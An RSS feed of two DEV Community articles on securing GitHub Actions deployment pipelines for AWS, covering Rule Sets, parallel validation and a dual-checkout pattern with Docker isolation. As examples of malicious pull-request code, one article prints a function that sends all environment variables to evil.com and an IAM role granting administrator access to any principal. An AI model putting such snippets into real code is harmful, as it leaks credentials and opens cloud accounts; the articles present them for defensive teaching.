<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Dom Derrien</title>
    <description>The latest articles on DEV Community by Dom Derrien (@domderrien).</description>
    <link>https://dev.to/domderrien</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2943762%2Fec41d281-4290-49ac-afdf-9deba6112181.png</url>
      <title>DEV Community: Dom Derrien</title>
      <link>https://dev.to/domderrien</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/domderrien"/>
    <language>en</language>
    <item>
      <title>Lessons Learned: Building Secure Pipelines in Practice</title>
      <dc:creator>Dom Derrien</dc:creator>
      <pubDate>Mon, 14 Jul 2025 04:17:22 +0000</pubDate>
      <link>https://dev.to/domderrien/lessons-learned-building-secure-pipelines-in-practice-36ef</link>
      <guid>https://dev.to/domderrien/lessons-learned-building-secure-pipelines-in-practice-36ef</guid>
      <description>&lt;p&gt;&lt;em&gt;This is the final article in our 5-part series on transforming chaotic deployment processes into secure, governed CI/CD pipelines using GitHub Rule Sets and workflows.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Series Recap
&lt;/h2&gt;

&lt;p&gt;Over the past four articles, we've journeyed from chaos to control:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Why We Need Secure Deployment Pipelines&lt;/strong&gt; - We identified the problems with "move fast and break things" culture&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Rule Sets&lt;/strong&gt; - We implemented enforceable quality gates through status checks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secure Code Review&lt;/strong&gt; - We added branch protection and automated security scanning&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Trust Challenge&lt;/strong&gt; - We solved secure infrastructure previews in forked workflows&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now, let's reflect on what this transformation taught us about building secure pipelines in practice.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Reality Check: Time Investment vs. Security Payoff
&lt;/h2&gt;

&lt;p&gt;Here's the truth nobody talks about: setting up secure pipelines is hard work.&lt;/p&gt;

&lt;p&gt;It took me one week to reach my goals—and that was with AI assistance helping me debug GitHub Actions and CDK configurations. Without modern tooling, this exercise could have lasted a month. The infrastructure diffing with CDK alone kept me busy for 3 days, wrestling with permission policies and Lambda execution contexts.&lt;/p&gt;

&lt;p&gt;But here's what I learned: &lt;strong&gt;invest the time upfront&lt;/strong&gt;. The initial complexity pays dividends in preventing deployment disasters and security breaches.&lt;/p&gt;

&lt;p&gt;Every hour spent configuring proper validation saves days of incident response later. I've seen teams lose entire weekends fixing production issues that a simple status check could have prevented.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Rule Sets Revolution
&lt;/h2&gt;

&lt;p&gt;GitHub Rule Sets are a game-changer compared to legacy Branch Protection rules. &lt;/p&gt;

&lt;p&gt;Before Rule Sets, I was clicking through UI forms, trying to remember which protection rules applied to which branches. Configuration drift was inevitable—different repositories had slightly different policies, and nobody could explain why.&lt;/p&gt;

&lt;p&gt;With Rule Sets, I can define JSON-based rules that apply across multiple branches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"production-protection"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"branch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"conditions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ref_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"include"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"production"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"required_status_checks"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"parameters"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"required_status_checks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="s2"&gt;"security-scan"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="s2"&gt;"infrastructure-diff"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key insight&lt;/strong&gt;: Treat your security policies as code—commit them to your repository and review changes like any other code. This eliminates configuration drift and makes your security posture auditable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Matrix Strategy: The Speed Revolution
&lt;/h2&gt;

&lt;p&gt;Using GitHub Actions' matrix strategy transformed our validation process from a painful bottleneck into a smooth experience.&lt;/p&gt;

&lt;p&gt;Our original sequential approach looked like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lint check: 45 seconds&lt;/li&gt;
&lt;li&gt;Security scan: 2 minutes&lt;/li&gt;
&lt;li&gt;Infrastructure diff: 3 minutes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Total: 6+ minutes of waiting&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With parallel matrix execution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;strategy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;matrix&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;validation&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;lint&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;security&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;infrastructure&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;validate&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Run ${{ matrix.validation }}&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm run ${{ matrix.validation }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;: All validations complete in under 2 minutes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key insight&lt;/strong&gt;: Parallel validation isn't just about speed—it's about developer experience and faster feedback loops. Developers are more likely to fix issues quickly when they get immediate feedback.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Trust Boundary Challenge
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;pull_request_target&lt;/code&gt; trigger created our biggest security headache: we needed access to secrets for infrastructure operations, but we couldn't trust the PR code.&lt;/p&gt;

&lt;p&gt;The breakthrough came with the dual-checkout pattern:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Trusted workflow&lt;/strong&gt;: Checked out from the target branch with access to secrets&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Untrusted code&lt;/strong&gt;: Checked out from the PR branch for analysis
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Checkout trusted workflow&lt;/span&gt;
  &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.repository.default_branch }}&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;trusted&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Checkout PR code&lt;/span&gt;
  &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.head.sha }}&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;untrusted&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key insight&lt;/strong&gt;: Never run untrusted code with trusted credentials. Always separate the execution environment from the code being evaluated.&lt;/p&gt;

&lt;p&gt;This pattern let us safely diff infrastructure changes without exposing AWS credentials to potentially malicious PR code.&lt;/p&gt;

&lt;h2&gt;
  
  
  Security Tools Don't Have to Break the Bank
&lt;/h2&gt;

&lt;p&gt;We achieved robust security scanning using open-source tools instead of expensive enterprise solutions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;npm audit&lt;/strong&gt;: Built-in dependency vulnerability scanning&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ESLint security plugins&lt;/strong&gt;: Static analysis for common security issues&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Custom regex patterns&lt;/strong&gt;: Detecting hardcoded secrets and sensitive patterns&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Path filtering&lt;/strong&gt;: Only scanning changed files for efficiency
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Security scan changed files&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
    &lt;span class="s"&gt;git diff --name-only origin/main...HEAD \&lt;/span&gt;
      &lt;span class="s"&gt;| grep -E '\.(js|ts|json)$' \&lt;/span&gt;
      &lt;span class="s"&gt;| xargs npm audit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key insight&lt;/strong&gt;: Effective security is about layered defense with targeted tools, not necessarily expensive enterprise suites. Smart path filtering ensures we only scan what changed, keeping builds fast.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Architecture That Made It Work
&lt;/h2&gt;

&lt;p&gt;Looking back, several architectural decisions were crucial for success:&lt;/p&gt;

&lt;h3&gt;
  
  
  Separation of Concerns
&lt;/h3&gt;

&lt;p&gt;We kept CI validation separate from CD deployment. Status checks validate code quality and security, while deployment workflows handle the actual AWS operations. This separation made debugging easier and allowed us to iterate on each part independently.&lt;/p&gt;

&lt;h3&gt;
  
  
  Parallel Execution
&lt;/h3&gt;

&lt;p&gt;Matrix strategies gave us faster feedback without sacrificing thoroughness. Developers could see all validation results simultaneously instead of waiting for sequential checks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Trust Boundaries
&lt;/h3&gt;

&lt;p&gt;The dual-checkout pattern solved the fundamental security challenge of infrastructure diffing. We never had to choose between security and functionality.&lt;/p&gt;

&lt;h3&gt;
  
  
  Progressive Enhancement
&lt;/h3&gt;

&lt;p&gt;We added security layers without breaking existing workflows. Teams could adopt new policies gradually, reducing resistance to change.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion: The Investment That Pays Off
&lt;/h2&gt;

&lt;p&gt;Transforming a "move fast and break things" deployment pipeline into a secure, governed system required fundamental changes in how we think about code integration and deployment.&lt;/p&gt;

&lt;p&gt;The combination of GitHub Rule Sets, parallel validation workflows, and careful security boundaries created a system that's both safer and more efficient than our original approach. Developers get faster feedback through parallel checks, while security teams get enforceable policies and audit trails.&lt;/p&gt;

&lt;p&gt;While the initial setup took significant effort, the result is a deployment pipeline that scales with team growth and provides the safety net needed for production AWS workloads. The investment in proper CI/CD governance pays dividends in reduced incidents, faster recovery times, and increased developer confidence.&lt;/p&gt;

&lt;p&gt;For teams still relying on informal processes and manual checks, the transition to rule-enforced validation is worth the effort. Start with basic status checks, then gradually add security scanning and infrastructure validation as your team becomes comfortable with the new processes.&lt;/p&gt;

&lt;p&gt;The future of deployment safety lies not in restricting developers, but in providing them with fast, reliable feedback loops that catch issues before they reach production.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This concludes our 5-part series on building secure CI/CD pipelines. The techniques we've covered—from Rule Sets to trust boundaries—provide a foundation for safe, scalable deployment processes that grow with your team.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>The Trust Challenge: Safe Infrastructure Previews in Forked Workflows</title>
      <dc:creator>Dom Derrien</dc:creator>
      <pubDate>Mon, 14 Jul 2025 04:15:05 +0000</pubDate>
      <link>https://dev.to/domderrien/the-trust-challenge-safe-infrastructure-previews-in-forked-workflows-24pf</link>
      <guid>https://dev.to/domderrien/the-trust-challenge-safe-infrastructure-previews-in-forked-workflows-24pf</guid>
      <description>&lt;p&gt;&lt;em&gt;Part 4 of "From Chaos to Control: Secure AWS Deployment Pipelines"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In our &lt;a href="https://dev.to/domderrien/secure-code-review-branch-protection-and-automated-security-scanning-5h9h"&gt;previous article&lt;/a&gt;, we built a solid foundation with branch protection and automated security scanning. But there's one challenge that keeps infrastructure teams awake at night: &lt;strong&gt;How do you safely preview infrastructure changes from contributors you don't fully trust?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the classic "trust dilemma" of modern DevOps. You need to see what infrastructure changes a PR will make before merging it, but you can't trust the code until it's been reviewed. In this article, we'll explore how to solve this challenge using dual-checkout patterns and Docker isolation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Infrastructure Security Dilemma
&lt;/h2&gt;

&lt;p&gt;Picture this scenario: A contributor submits a PR with what looks like a simple IAM role change. The diff shows "Creating new service role" — seems innocent enough. But hidden in the CDK code is this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;iam&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Role&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;assumedBy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;iam&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;AnyPrincipal&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="c1"&gt;// ← Opens your account to the world&lt;/span&gt;
  &lt;span class="na"&gt;managedPolicies&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nx"&gt;iam&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ManagedPolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromAwsManagedPolicyName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;AdministratorAccess&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// ← Full admin access&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or consider this seemingly helpful logging function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Innocent-looking helper function&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;logDeploymentInfo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/steal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// ← Steals all environment variables&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;                         &lt;span class="c1"&gt;//   including AWS credentials&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The dilemma&lt;/strong&gt;: You need to preview the changes to understand their impact, but you cannot trust the code until it's been reviewed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding GitHub Actions Security Models
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The &lt;code&gt;pull_request&lt;/code&gt; Trigger: Safe but Limited
&lt;/h3&gt;

&lt;p&gt;With the standard &lt;code&gt;pull_request&lt;/code&gt; trigger, workflows run in the contributor's context:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pull_request Trigger Security Model
┌───────────────────────────────────────────────────────┐
│ Fork Repository                Main Repository        │
│ ┌─────────────────┐            ┌─────────────────┐    │
│ │ PR Code         │            │ Workflow runs   │    │
│ │ (potentially    │ ─runs in─→ │ with fork's     │    │
│ │ malicious)      │            │ limited perms   │    │
│ └─────────────────┘            └─────────────────┘    │
│                                                       │
│ ✅ Safe: No access to secrets                         │
│ ❌ Limited: Cannot read deployed infrastructure state │
└───────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: The fork doesn't have access to AWS credentials, so it can't generate meaningful infrastructure diffs.&lt;/p&gt;

&lt;h3&gt;
  
  
  The &lt;code&gt;pull_request_target&lt;/code&gt; Trigger: Powerful but Dangerous
&lt;/h3&gt;

&lt;p&gt;With &lt;code&gt;pull_request_target&lt;/code&gt;, workflows run in the main repository's context:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pull_request_target Trigger Security Model
┌─────────────────────────────────────────────────────┐
│ Fork Repository                Main Repository      │
│ ┌─────────────────┐            ┌──────────────────┐ │
│ │ PR Code         │            │ Workflow runs    │ │
│ │ (potentially    │ ─runs in─→ │ with main repo   │ │
│ │ malicious)      │            │ full permissions │ │
│ └─────────────────┘            └──────────────────┘ │
│                                                     │
│ ✅ Powerful: Access to AWS credentials and secrets  │
│ ❌ Dangerous: Malicious code can steal credentials  │
└─────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The Risk&lt;/strong&gt;: Malicious code in the PR can now access your AWS credentials, secrets, and deployed infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Dual-Checkout Security Pattern
&lt;/h2&gt;

&lt;p&gt;The solution is to separate trusted tooling from untrusted code using a dual-checkout pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dual-Checkout Security Architecture
┌─────────────────────────────────────────────────────────────┐
│ GitHub Actions Runner                                       │
│                                                             │
│ Trusted Code (Main Branch)     Untrusted Code (PR Branch)   │
│ ┌─────────────────────────┐    ┌──────────────────────────┐ │
│ │ /                       │    │ /untrusted-pr-code/      │ │
│ │ ├── .github/workflows/  │    │ ├── iac/                 │ │
│ │ ├── iac/                │    │ │   ├── modified.ts      │ │
│ │ │   ├── package.json    │    │ │   └── new-stack.ts     │ │
│ │ │   └── node_modules/   │    │ ├── serverless/          │ │
│ │ │       └── aws-cdk/    │    │ └── webapp/              │ │
│ │ └── serverless/         │    └──────────────────────────┘ │
│ └─────────────────────────┘                                 │
│                                                             │
│ ✅ Trusted CDK CLI             ❌ Untrusted infrastructure  │
│ ✅ Trusted dependencies        ❌ Untrusted build scripts   │
│ ✅ Access to AWS               ❌ Isolated from credentials │
└─────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How It Works
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Checkout trusted code&lt;/strong&gt; (main branch) to the runner root&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Install trusted dependencies&lt;/strong&gt; including CDK CLI&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Checkout untrusted code&lt;/strong&gt; (PR branch) to a separate subdirectory&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run untrusted code&lt;/strong&gt; using trusted tools only&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This ensures that even if the PR contains malicious code, it cannot:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Replace the CDK CLI with a malicious version&lt;/li&gt;
&lt;li&gt;Access AWS credentials directly&lt;/li&gt;
&lt;li&gt;Modify the workflow execution environment&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Docker: The Additional Isolation Layer
&lt;/h2&gt;

&lt;p&gt;Even with dual-checkout, untrusted code still runs on the same system. Docker provides an additional isolation layer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Docker Security Isolation
┌───────────────────────────────────────────────────────────┐
│ GitHub Actions Runner (Host)                              │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Docker Container (Isolated)                           │ │
│ │                                                       │ │
│ │ ┌─────────────────┐                                   │ │
│ │ │ Untrusted Code  │ → Limited to:                     │ │
│ │ │ • npm install   │   • Read/write own files          │ │
│ │ │ • tsc compile   │   • Network access for npm        │ │
│ │ │ • npm build     │   • No access to host filesystem  │ │
│ │ └─────────────────┘   • No access to host network     │ │
│ │                       • No access to AWS credentials  │ │
│ └───────────────────────────────────────────────────────┘ │
│                                                           │
│ Host maintains:                                           │
│ • AWS credentials                                         │
│ • Trusted CDK CLI                                         │
│ • Access to deployed infrastructure                       │
└───────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Docker Security Benefits:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prevents untrusted code from accessing host filesystem&lt;/li&gt;
&lt;li&gt;Blocks network access to internal services&lt;/li&gt;
&lt;li&gt;Isolates process execution&lt;/li&gt;
&lt;li&gt;Limits resource consumption&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Safe Infrastructure Diffing Workflow
&lt;/h2&gt;

&lt;p&gt;Here's how the secure workflow operates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Secure Infrastructure Preview Workflow
┌─────────────────────────────────────────────────────────────┐
│ 1. PR Submitted with IaC Changes                            │
│    └─→ Triggers pull_request_target workflow                │
│                                                             │
│ 2. Checkout Trusted Code (develop branch)                   │
│    ├─→ Install trusted CDK CLI and dependencies             │
│    └─→ Configure AWS credentials (trusted environment)      │
│                                                             │
│ 3. Checkout Untrusted Code (PR branch)                      │
│    └─→ Isolated to /untrusted-pr-code/ subdirectory         │
│                                                             │
│ 4. Build Untrusted Code (Docker isolation)                  │
│    ├─→ npm ci (install dependencies)                        │
│    ├─→ tsc compile (TypeScript compilation)                 │
│    └─→ npm run build (build artifacts)                      │
│                                                             │
│ 5. Synthesize Infrastructure (Docker isolation)             │
│    ├─→ Use trusted CDK CLI: ../node_modules/.bin/cdk        │
│    ├─→ Run with network, block all other accesses           │
│    ├─→ Set the running command `node dist/bin/iac.js`       │
│    └─→ Save output in folder cdk.out                        │
│                                                             │
